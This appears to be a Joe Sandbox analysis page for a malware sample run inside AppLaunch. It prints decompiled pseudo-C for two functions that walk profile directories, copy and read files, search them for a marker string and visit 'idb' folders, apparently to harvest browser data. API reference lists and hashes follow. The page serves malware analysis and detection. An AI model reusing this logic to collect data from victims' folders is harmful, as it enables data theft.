Instruction ID: 86e0207c76d6b987d73743817b6b26618a4d19690a99c25b52fe2b2fe0bad3c4
Opcode Fuzzy Hash: ceacd24a188526cd65b0777c05571e49001a07d9248ab88070bac891ec288a8a
Instruction Fuzzy Hash: 1ED18471B00109ABDF119F60DC48EAE7B75FF44706F414169FA06B62A0D73D8A52CF68

Uniqueness

Uniqueness Score: -1.00%

Function 0040770F Relevance: 68.6, APIs: 38, Strings: 1, Instructions: 308
memorystringfileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040770F(intOrPtr __ecx, WCHAR* __edx, void* __eflags, WCHAR* _a4, void* _a8) {
				int _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				void* _v20;
				WCHAR* _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				void* _v44;
				WCHAR* _v48;
				intOrPtr _v52;
				void* _v56;
				void* _v60;
				signed int _v64;
				char _v68;
				intOrPtr _v72;
				WCHAR* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				WCHAR* _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				void* _v100;
				intOrPtr _v104;
				struct _WIN32_FIND_DATAW _v700;
				WCHAR* _t91;
				WCHAR* _t92;
				int _t95;
				int _t99;
				WCHAR* _t101;
				WCHAR* _t102;
				WCHAR* _t103;
				void* _t109;
				int _t115;
				WCHAR* _t116;
				int _t118;
				WCHAR* _t119;
				void* _t127;
				WCHAR* _t128;
				WCHAR* _t130;
				void* _t131;
				int _t135;
				int _t140;
				WCHAR* _t143;
				intOrPtr _t145;
				intOrPtr _t146;
				WCHAR* _t147;
				intOrPtr _t149;
				intOrPtr _t150;
				WCHAR* _t151;
				intOrPtr _t153;
				intOrPtr _t154;
				void* _t160;
				char _t172;
				void* _t177;
				WCHAR* _t180;
				WCHAR* _t183;
				WCHAR* _t185;
				void* _t189;
				WCHAR* _t193;
				WCHAR* _t195;
				WCHAR* _t197;
				WCHAR* _t198;
				int _t200;
				void* _t203;
				void* _t212;
				WCHAR* _t218;
				void* _t220;
				void* _t224;
				void* _t225;

				_t225 = __eflags;
				_t198 = __edx;
				_v52 = __ecx;
				_v48 = __edx;
				_t91 = StrCpyW(LocalAlloc(0x40, 0x248), _t198);
				_t185 =  *0x4231cc; // 0x513baf8
				_t92 = E0041AD76(_t91, _t185, _t225);
				_v60 = _t92;
				_t212 = FindFirstFileW(_t92,  &_v700);
				_v56 = _t212;
				if(_t212 != 0xffffffff) {
					goto L2;
				} else {
					return 0;
				}
				do {
					L2:
					__eflags = _v700.dwFileAttributes & 0x00000010;
					if((_v700.dwFileAttributes & 0x00000010) != 0) {
						__eflags = _v700.cFileName - 0x2e;
						if(_v700.cFileName != 0x2e) {
							_t160 = LocalAlloc(0x40, 0x208);
							_v32 = _t160;
							PathCombineW(_t160, _t198,  &(_v700.cFileName));
							_t99 = lstrcmpW(_t198, _t160);
							__eflags = _t99;
							if(_t99 != 0) {
								_t101 = LocalAlloc(0x40, 0x800400);
								_t102 = LocalAlloc(0x40, 0x800400);
								_t103 = LocalAlloc(0x40, 0x800400);
								_v12 = StrCpyW(_t101, 0x422504);
								_v16 = StrCpyW(_t102, 0x422504);
								_v24 = StrCpyW(_t103, 0x422504);
								_v36 = 0;
								_t200 = 0;
								_v28 = 0;
								_v8 = 0;
								_v40 = 0;
								_v20 = LocalAlloc(0x40, 0x200);
								_t109 = LocalAlloc(0x40, 0x800);
								_t160 = _v32;
								_t215 = _t109;
								_v44 = _t109;
								E00407AD5( &_v16,  &_v28, _t160, _a8);
								E00407CED( &_v12,  &_v36, _t160, _a8);
								E0040819D( &_v24, _t160, _a8);
								E00408349(_t160, _v48, __eflags, _v52, _t215,  &_v40);
								_t224 = _t224 + 0x24;
								_t115 = lstrlenW( *0x423240);
								_t116 = _v16;
								_v16 = _t116;
								__eflags = lstrlenW(_t116) - _t115;
								if(__eflags >= 0) {
									_t151 = E0041AD76(_v16, _t160, __eflags);
									_t197 =  *0x42322c; // 0x513bad8
									_t183 = E0041AD76(_t151, _t197, __eflags);
									_t153 =  *0x423318; // 0x513b210
									_v80 = _t153;
									_t154 =  *0x4231f4; // 0x513bc18
									_v76 = _t183;
									_v72 = _t154;
									asm("movsd");
									_v16 = _t183;
									asm("movsd");
									asm("movsd");
									_t200 = 1;
									__eflags = 1;
									_v8 = 1;
								}
								_t118 = lstrlenW( *0x42319c);
								_t119 = _v12;
								_v12 = _t119;
								__eflags = lstrlenW(_t119) - _t118;
								if(__eflags >= 0) {
									_t147 = E0041AD76(_v12, _t160, __eflags);
									_t195 =  *0x42322c; // 0x513bad8
									_t180 = E0041AD76(_t147, _t195, __eflags);
									_t149 =  *0x4231d4; // 0x513b168
									_v92 = _t149;
									_t150 =  *0x4231f4; // 0x513bc18
									_v88 = _t180;
									_v84 = _t150;
									_v12 = _t180;
									asm("movsd");
									asm("movsd");
									asm("movsd");
									_t200 = _v8 + 1;
									__eflags = _t200;
									_v8 = _t200;
								}
								_t218 = _v24;
								_v32 = _t218;
								__eflags = lstrlenW(_t218);
								if(__eflags > 0) {
									_t143 = E0041AD76(_t218, _t160, __eflags);
									_t193 =  *0x42322c; // 0x513bad8
									_t177 = E0041AD76(_t143, _t193, __eflags);
									_t145 =  *0x423258; // 0x513adb0
									_v104 = _t145;
									_t146 =  *0x4231f4; // 0x513bc18
									_v100 = _t177;
									_v96 = _t146;
									_v32 = _t177;
									asm("movsd");
									asm("movsd");
									asm("movsd");
									_t200 = _v8 + 1;
									__eflags = _t200;
									_v8 = _t200;
								}
								__eflags = _t200;
								if(_t200 != 0) {
									_t127 = LocalAlloc(0x40, 0x208);
									_t128 = LocalAlloc(0x40, 0x208);
									_t189 = 0x10;
									_v36 = E00416B1A(_t127, _t189);
									_t130 = StrCpyW(_t128,  *0x423230);
									_t203 = _v36;
									_t131 = E0041AD76(_t130, _t203, __eflags);
									_t172 =  *0x423224; // 0x513bc38
									_v64 = _v64 & 0x00000000;
									_v68 = _t172;
									_v28 = _t131;
									_v24 = E00413A99( &_v28, __eflags);
									_t220 = LocalAlloc(0x40, 0x184);
									_t135 = WideCharToMultiByte(0xfde9, 0, _t203, 0xffffffff, 0, 0, 0, 0);
									__eflags = _t135;
									if(_t135 != 0) {
										_t140 = WideCharToMultiByte(0xfde9, 0, _t203, 0xffffffff, _t220, _t135, 0, 0);
										__eflags = _t140;
										if(_t140 != 0) {
											E004133D0(_a4, _t220, _v8, _v20, _v40, _v44, _v24,  &_v68);
											_t224 = _t224 + 0x18;
										}
									}
									LocalFree(_t220);
									LocalFree(_v24);
									LocalFree(_v28);
									LocalFree(_t203);
								}
								LocalFree(_v12);
								LocalFree(_v16);
								LocalFree(_v32);
								LocalFree(_v20);
								LocalFree(_v44);
								_t212 = _v56;
								_t198 = _v48;
							}
							LocalFree(_t160);
						}
					}
					_t95 = FindNextFileW(_t212,  &_v700);
					__eflags = _t95;
				} while (_t95 != 0);
				FindClose(_t212);
				LocalFree(_v60);
				__eflags = 1;
				return 1;
			}

0x0040770f
0x00407720
0x00407722
0x00407727
0x00407732
0x00407738
0x00407740
0x0040774b
0x00407756
0x00407758
0x0040775e
0x00000000
0x00407760
0x00000000
0x00407760
0x00407767
0x00407767
0x00407767
0x0040776e
0x00407774
0x0040777c
0x0040778f
0x0040779a
0x0040779d
0x004077a5
0x004077ab
0x004077ad
0x004077bb
0x004077c6
0x004077d1
0x004077ea
0x004077f7
0x00407800
0x0040780c
0x0040780f
0x00407811
0x00407814
0x00407817
0x00407827
0x0040782a
0x00407833
0x00407839
0x0040783f
0x00407842
0x00407851
0x0040785d
0x0040786f
0x00407874
0x0040787d
0x00407885
0x00407889
0x00407892
0x00407894
0x0040789b
0x004078a0
0x004078b3
0x004078b5
0x004078ba
0x004078bd
0x004078c2
0x004078c5
0x004078c8
0x004078c9
0x004078cc
0x004078cd
0x004078d0
0x004078d0
0x004078d1
0x004078d1
0x004078da
0x004078e2
0x004078e6
0x004078ef
0x004078f1
0x004078f8
0x004078fd
0x00407910
0x00407912
0x00407917
0x0040791a
0x0040791f
0x00407925
0x00407928
0x0040792b
0x0040792c
0x0040792d
0x00407931
0x00407931
0x00407932
0x00407932
0x00407935
0x00407939
0x00407942
0x00407944
0x0040794a
0x0040794f
0x00407962
0x00407964
0x00407969
0x0040796c
0x00407971
0x00407977
0x0040797a
0x0040797d
0x0040797e
0x0040797f
0x00407983
0x00407983
0x00407984
0x00407984
0x00407987
0x00407989
0x00407997
0x004079a2
0x004079aa
0x004079ba
0x004079be
0x004079c4
0x004079cb
0x004079d0
0x004079d6
0x004079da
0x004079e0
0x004079ef
0x004079f8
0x00407a09
0x00407a0f
0x00407a11
0x00407a23
0x00407a29
0x00407a2b
0x00407a45
0x00407a4a
0x00407a4a
0x00407a2b
0x00407a4e
0x00407a57
0x00407a60
0x00407a67
0x00407a67
0x00407a70
0x00407a79
0x00407a82
0x00407a8b
0x00407a94
0x00407a9a
0x00407a9d
0x00407a9d
0x00407aa1
0x00407aa1
0x0040777c
0x00407aaf
0x00407ab5
0x00407ab5
0x00407abe
0x00407ac7
0x00407acf
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000248,00000000,00000000,00000000), ref: 0040772A
StrCpyW.SHLWAPI(00000000,00000000), ref: 00407732

Part of subcall function 0041AD76: RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
Part of subcall function 0041AD76: RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
Part of subcall function 0041AD76: RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
Part of subcall function 0041AD76: RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
Part of subcall function 0041AD76: RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
Part of subcall function 0041AD76: RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
Part of subcall function 0041AD76: RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
Part of subcall function 0041AD76: RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
Part of subcall function 0041AD76: RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
Part of subcall function 0041AD76: RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
Part of subcall function 0041AD76: RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
Part of subcall function 0041AD76: RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
Part of subcall function 0041AD76: RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
Part of subcall function 0041AD76: RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
Part of subcall function 0041AD76: RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E

FindFirstFileW.KERNEL32(00000000,?), ref: 00407750
LocalAlloc.KERNEL32(00000040,00000208), ref: 00407789
PathCombineW.SHLWAPI(00000000,00000000,0000002E), ref: 0040779D
lstrcmpW.KERNEL32(00000000,00000000), ref: 004077A5
LocalAlloc.KERNEL32(00000040,00800400), ref: 004077BB
LocalAlloc.KERNEL32(00000040,00800400), ref: 004077C6
LocalAlloc.KERNEL32(00000040,00800400), ref: 004077D1
StrCpyW.SHLWAPI(00000000,00422504), ref: 004077DF
StrCpyW.SHLWAPI(00000000,00422504), ref: 004077EF
StrCpyW.SHLWAPI(00000000,00422504), ref: 004077FA
LocalAlloc.KERNEL32(00000040,00000200), ref: 0040781A
LocalAlloc.KERNEL32(00000040,00000800), ref: 0040782A
lstrlenW.KERNEL32 ref: 0040787D
lstrlenW.KERNEL32(?), ref: 0040788C

Strings

., xrefs: 00407774

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$Path$Slow$AllocLocal$lstrlen$CombineFileFindFirstlstrcmp
String ID: .
API String ID: 279515222-248832578
Opcode ID: 1826e24a922826030e02b81e3ddd1f86d8c06cca4e6153ef436c4e2229dda8e1
Instruction ID: 27db6b1b3e18ff10f782916f5ba67076e9af258bd560953e340309195c5d280c
Opcode Fuzzy Hash: 1826e24a922826030e02b81e3ddd1f86d8c06cca4e6153ef436c4e2229dda8e1
Instruction Fuzzy Hash: 6AC14E71F00208AFCB10DFA1DC49AAEBBB5EF48712F504469F605A7290DB385A428F68

Uniqueness

Uniqueness Score: -1.00%

Function 00408349 Relevance: 66.7, APIs: 35, Strings: 3, Instructions: 212
memoryfilestringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408349(WCHAR* __ecx, WCHAR* __edx, void* __eflags, WCHAR* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _v12;
				char* _v16;
				WCHAR* _v20;
				long _v24;
				WCHAR* _v28;
				WCHAR* _v32;
				void* _v36;
				char* _v40;
				void* _v44;
				struct _WIN32_FIND_DATAW _v640;
				WCHAR* _t47;
				WCHAR* _t48;
				char* _t67;
				char* _t69;
				WCHAR* _t71;
				WCHAR* _t83;
				WCHAR* _t87;
				WCHAR* _t88;
				WCHAR* _t96;
				char* _t98;
				void* _t99;
				void* _t100;
				WCHAR* _t117;
				WCHAR* _t118;
				void* _t121;
				WCHAR* _t122;
				void* _t125;
				long _t126;
				CHAR* _t127;
				char* _t129;
				WCHAR* _t130;
				void* _t133;
				void* _t134;
				void* _t135;

				_t135 = __eflags;
				_v28 = __edx;
				_t96 = __ecx;
				_v32 = __ecx;
				_t47 = LocalAlloc(0x40, 0x208);
				_t48 = LocalAlloc(0x40, 0x208);
				_v12 = LocalAlloc(0x40, 0x208);
				_t125 = PathCombineW(_t48, _t96,  *0x423520);
				_v20 = PathCombineW(_t47, _t96,  *0x42332c);
				_v24 = 0;
				if(E0041C37E(_t125,  &_v12, _t135) == 0 || CopyFileW(_t125, _v12, 0) == 0) {
					LocalFree(_t125);
					DeleteFileW(_v12);
					LocalFree(_v12);
					goto L16;
				} else {
					_t121 = CreateFileW(_v12, 0x80000000, 1, 0, 3, 0, 0);
					_v44 = _t121;
					_t126 = GetFileSize(_t121, 0);
					_t98 = LocalAlloc(0x40, _t126);
					_t10 = _t126 - 1; // -1
					_v40 = _t98;
					if(ReadFile(_t121, _t98, _t10,  &_v24, 0) == 0) {
						L14:
						LocalFree(_t98);
						CloseHandle(_t121);
						return DeleteFileW(_v12);
					}
					_t127 =  *0x42333c; // 0x5139a40
					if(lstrlenA(_t98) <= 0x200) {
						goto L14;
					}
					_t67 = StrStrA(_t98, _t127);
					_v16 = _t67;
					if(_t67 == 0) {
						goto L14;
					}
					_t129 =  &(_v16[lstrlenA(_t127)]);
					_v16 = _t129;
					_t69 = StrStrA(_t129, "\\\"");
					_t141 = _t69;
					if(_t69 == 0) {
						goto L14;
					}
					 *_t69 = 0;
					_t71 = E0041AD76(LocalAlloc(0x40, 0x208), _v20, _t141);
					_t117 =  *0x4231cc; // 0x513baf8
					_t99 = FindFirstFileW(E0041AD76(_t71, _t117, _t141),  &_v640);
					_v36 = _t99;
					if(_t99 == 0xffffffff) {
						L16:
						__eflags = 0;
						return 0;
					} else {
						goto L7;
					}
					do {
						L7:
						if((_v640.dwFileAttributes & 0x00000010) != 0 && _v640.cFileName != 0x2e && StrStrW( &(_v640.cFileName), E0041A6A3(_t129)) != 0 && StrStrW( &(_v640.cFileName), "^") != 0) {
							_t130 = _v28;
							_t100 = _v32 + lstrlenW(_t130) * 2;
							_t122 =  &(( &(_t130[1]))[lstrlenW(_a4)]);
							_t83 = LocalAlloc(0x40, 0x200);
							_t122[StrStrW(_t122,  *0x423290) - _t122 >> 1] = 0;
							_t87 = StrCpyW(_t83, _t122);
							_t118 =  *0x4231fc; // 0x513bb98
							_t88 = E0041AD76(_t87, _t118, 0);
							_t34 = _t100 + 2; // 0x2
							_t133 = E0041AD76(_t88, _t34, 0);
							E00407471(PathCombineW(PathCombineW(LocalAlloc(0x40, 0x208), _v20,  &(_v640.cFileName)), _t91, L"idb"), 0, _t133, _a8, _a12);
							_t134 = _t134 + 0xc;
							LocalFree(_t133);
							_t129 = _v16;
							_t99 = _v36;
						}
					} while (FindNextFileW(_t99,  &_v640) != 0);
					FindClose(_t99);
					_t98 = _v40;
					_t43 =  &_v44; // 0x407874
					_t121 =  *_t43;
					goto L14;
				}
			}

0x00408349
0x0040835a
0x0040835e
0x00408362
0x00408365
0x00408370
0x0040838b
0x0040839c
0x004083a8
0x004083ae
0x004083ba
0x004085ee
0x004085f7
0x00408600
0x00000000
0x004083d3
0x004083e8
0x004083ec
0x004083f5
0x00408400
0x00408402
0x0040840a
0x00408419
0x004085d4
0x004085d5
0x004085dc
0x00000000
0x004085e5
0x0040841f
0x00408431
0x00000000
0x00000000
0x00408439
0x0040843f
0x00408444
0x00000000
0x00000000
0x00408453
0x0040845c
0x0040845f
0x00408465
0x00408467
0x00000000
0x00000000
0x00408474
0x00408482
0x00408487
0x004084a2
0x004084a4
0x004084aa
0x00408606
0x00408606
0x00000000
0x00000000
0x00000000
0x00000000
0x004084b0
0x004084b0
0x004084b7
0x00408502
0x00408512
0x00408525
0x00408528
0x00408545
0x00408549
0x0040854f
0x00408557
0x0040855c
0x0040856d
0x0040859c
0x004085a1
0x004085a5
0x004085ab
0x004085ae
0x004085ae
0x004085bf
0x004085c8
0x004085ce
0x004085d1
0x004085d1
0x00000000
0x004085d1

APIs

LocalAlloc.KERNEL32(00000040,00000208,00000000,00000000,?), ref: 00408365
LocalAlloc.KERNEL32(00000040,00000208), ref: 00408370
LocalAlloc.KERNEL32(00000040,00000208), ref: 0040837F
PathCombineW.SHLWAPI(00000000,?), ref: 00408390
PathCombineW.SHLWAPI(00000000,?), ref: 004083A0

Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C391
Part of subcall function 0041C37E: RealDriveType.SHELL32(49068A3F,00000000), ref: 0041C39F
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3A5
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3AB
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3B1
Part of subcall function 0041C37E: RealDriveType.SHELL32(90F51192,00000000), ref: 0041C3BA
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3C0
Part of subcall function 0041C37E: RealDriveType.SHELL32(8030BDD6,00000000), ref: 0041C3C9
Part of subcall function 0041C37E: RealDriveType.SHELL32(3529F220,00000000), ref: 0041C3D2
Part of subcall function 0041C37E: RealDriveType.SHELL32(44900BA8,00000000), ref: 0041C3DB
Part of subcall function 0041C37E: RealDriveType.SHELL32(80627B6F,00000000), ref: 0041C3E4
Part of subcall function 0041C37E: RealDriveType.SHELL32(4B2F893E,00000000), ref: 0041C3ED
Part of subcall function 0041C37E: RealDriveType.SHELL32(9237E9C0,00000000), ref: 0041C3F6
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3FC
Part of subcall function 0041C37E: RealDriveType.SHELL32(001C2176,00000000), ref: 0041C405
Part of subcall function 0041C37E: RealDriveType.SHELL32(DCD15041,00000000), ref: 0041C40E
Part of subcall function 0041C37E: RealDriveType.SHELL32(06ACA385,00000000), ref: 0041C417
Part of subcall function 0041C37E: RealDriveType.SHELL32(54EEC891,00000000), ref: 0041C420
Part of subcall function 0041C37E: RealDriveType.SHELL32(6F107F95,00000000), ref: 0041C429
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C42F
Part of subcall function 0041C37E: RealDriveType.SHELL32(1A1C9336,00000000), ref: 0041C438
Part of subcall function 0041C37E: RealDriveType.SHELL32(DF38BEB2,00000000), ref: 0041C441
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C447
Part of subcall function 0041C37E: RealDriveType.SHELL32(1D427676,00000000), ref: 0041C450
Part of subcall function 0041C37E: RealDriveType.SHELL32(2EC4F5A1,00000000), ref: 0041C459
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C45F
Part of subcall function 0041C37E: RealDriveType.SHELL32(3921A8C1,00000000), ref: 0041C468
Part of subcall function 0041C37E: RealDriveType.SHELL32(E7FE911E,00000000), ref: 0041C471
Part of subcall function 0041C37E: RealDriveType.SHELL32(3D01E728,00000000), ref: 0041C47A
Part of subcall function 0041C37E: RealDriveType.SHELL32(AEAA71A1,00000000), ref: 0041C483

CopyFileW.KERNEL32(00000000,?,00000000), ref: 004083C5
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004083E2
GetFileSize.KERNEL32(00000000,00000000), ref: 004083EF
LocalAlloc.KERNEL32(00000040,00000000), ref: 004083FA
ReadFile.KERNEL32(00000000,00000000,-00000001,?,00000000), ref: 00408411
lstrlenA.KERNEL32(00000000), ref: 00408426
StrStrA.SHLWAPI(00000000,05139A40), ref: 00408439
lstrlenA.KERNEL32(05139A40), ref: 0040844B
StrStrA.SHLWAPI(?,00422508), ref: 0040845F
LocalAlloc.KERNEL32(00000040,00000208), ref: 00408477

Part of subcall function 0041AD76: RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
Part of subcall function 0041AD76: RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
Part of subcall function 0041AD76: RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
Part of subcall function 0041AD76: RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
Part of subcall function 0041AD76: RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
Part of subcall function 0041AD76: RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
Part of subcall function 0041AD76: RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
Part of subcall function 0041AD76: RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
Part of subcall function 0041AD76: RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
Part of subcall function 0041AD76: RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
Part of subcall function 0041AD76: RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
Part of subcall function 0041AD76: RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
Part of subcall function 0041AD76: RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
Part of subcall function 0041AD76: RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
Part of subcall function 0041AD76: RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E

Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AEA4
Part of subcall function 0041AD76: RealDriveType.SHELL32(273488AB,00000000), ref: 0041AEAD
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC61A23F,00000000), ref: 0041AEBA
Part of subcall function 0041AD76: RealDriveType.SHELL32(B3DAA166,00000000), ref: 0041AEC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AED1
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AED7
Part of subcall function 0041AD76: RealDriveType.SHELL32(D938E356,00000000), ref: 0041AEE0
Part of subcall function 0041AD76: lstrlenW.KERNEL32(00000000,?,00413AB2), ref: 0041AEE7
Part of subcall function 0041AD76: lstrlenW.KERNEL32(?,?,00413AB2), ref: 0041AEF0
Part of subcall function 0041AD76: RealDriveType.SHELL32(070D2202,00000000), ref: 0041AF02
Part of subcall function 0041AD76: RealDriveType.SHELL32(1B94926A,00000000), ref: 0041AF0F
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF19
Part of subcall function 0041AD76: RealDriveType.SHELL32(C8C42F5E,00000000), ref: 0041AF22
Part of subcall function 0041AD76: RealDriveType.SHELL32(D76050E1,00000000), ref: 0041AF2F
Part of subcall function 0041AD76: RealDriveType.SHELL32(1B837923,00000000), ref: 0041AF3C
Part of subcall function 0041AD76: RealDriveType.SHELL32(9064BFC7,00000000), ref: 0041AF49
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF53
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF59
Part of subcall function 0041AD76: RealDriveType.SHELL32(AFE6E195,00000000), ref: 0041AF62
Part of subcall function 0041AD76: RealDriveType.SHELL32(3CCCC8AD,00000000), ref: 0041AF6F
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF79
Part of subcall function 0041AD76: RealDriveType.SHELL32(49AB8BAF,00000000), ref: 0041AF82
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF8C
Part of subcall function 0041AD76: RealDriveType.SHELL32(49B60F98,00000000), ref: 0041AF95
Part of subcall function 0041AD76: RealDriveType.SHELL32(05950617,00000000), ref: 0041AFA2
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(469C9C40,00000000), ref: 0041AFB5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFBF
Part of subcall function 0041AD76: RealDriveType.SHELL32(429F1FBD,00000000), ref: 0041AFC8
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFD2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DE0C8199,00000000), ref: 0041AFDB
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFE5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFEB

FindFirstFileW.KERNEL32(00000000,?), ref: 0040849C
StrStrW.SHLWAPI(0000002E,00000000), ref: 004084DA
StrStrW.SHLWAPI(0000002E,0042250C), ref: 004084F4
lstrlenW.KERNEL32(?), ref: 00408506
lstrlenW.KERNEL32(?), ref: 00408515
LocalAlloc.KERNEL32(00000040,00000200), ref: 00408528
StrStrW.SHLWAPI(00000000), ref: 00408537
StrCpyW.SHLWAPI(00000000,00000000), ref: 00408549

Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFF1
Part of subcall function 0041AD76: RealDriveType.SHELL32(E995579D,00000000), ref: 0041AFFA
Part of subcall function 0041AD76: RealDriveType.SHELL32(84B4EFE9,00000000), ref: 0041B007
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B011
